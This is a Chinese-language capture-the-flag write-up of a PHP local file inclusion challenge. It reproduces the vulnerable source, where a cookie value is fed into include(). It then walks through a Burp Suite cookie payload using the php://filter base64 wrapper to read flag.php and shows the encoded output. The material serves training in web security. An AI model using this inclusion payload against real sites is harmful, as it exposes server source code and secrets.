Ctrl+U查看页面源码
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<br />
<b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>
分析:
$lan变量的值由$_COOKIE['language']传递
当!$lan时:即$lan变量不存在时,执行包含english.php
否则,包含 lan.php 文件
那么只需要抓包,修改$_COOKIE中language的值传递给$lan就可以了
再根据题目的提示,flag在flag.php这个文件中
可以利用php伪协议,将被包含文件读取或写入包含文件中
接下来贴上php伪协议构造代码
php://filter/read=convert.base64-encode/resource=flag
其中:
index.php源码:@include($lan.".php");已经存在后缀.php
所以最后的文件名称是flag而不是flag.php
read:<读链的筛选列表> :参数可选
write:<写链的筛选列表> : 参数可选
/resource=FILE.php:<选定文件> : 参数必选
convert.base64-encode:过滤器,防止网页将源码注释而导致的flag无法显示
因为flag.php是已经存在的,直接用读取read
就可以读取到被包含在index.php中的flag.php源码
打开BurpSuite对网页内容进行拦截,并发送至重放器
构造一个Cookie并将其language的值设置为用伪协议构造的flag
那么index.php就会直接包含flag.php文件
Cookie: language=php://filter/read=convert.base64-encode/resource=flag
点击发送,查看重放响应内容
得到flag.php中的内容
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezRhMTRiN2E0ZDFmYjMzZjFlMjc3ZDIxNWU2NzdlZmY2fSI7DQo/Pg==
因为我们上面伪协议中用的过滤器是base64编码
所以只需要进行一次base64解码就可以拿到原文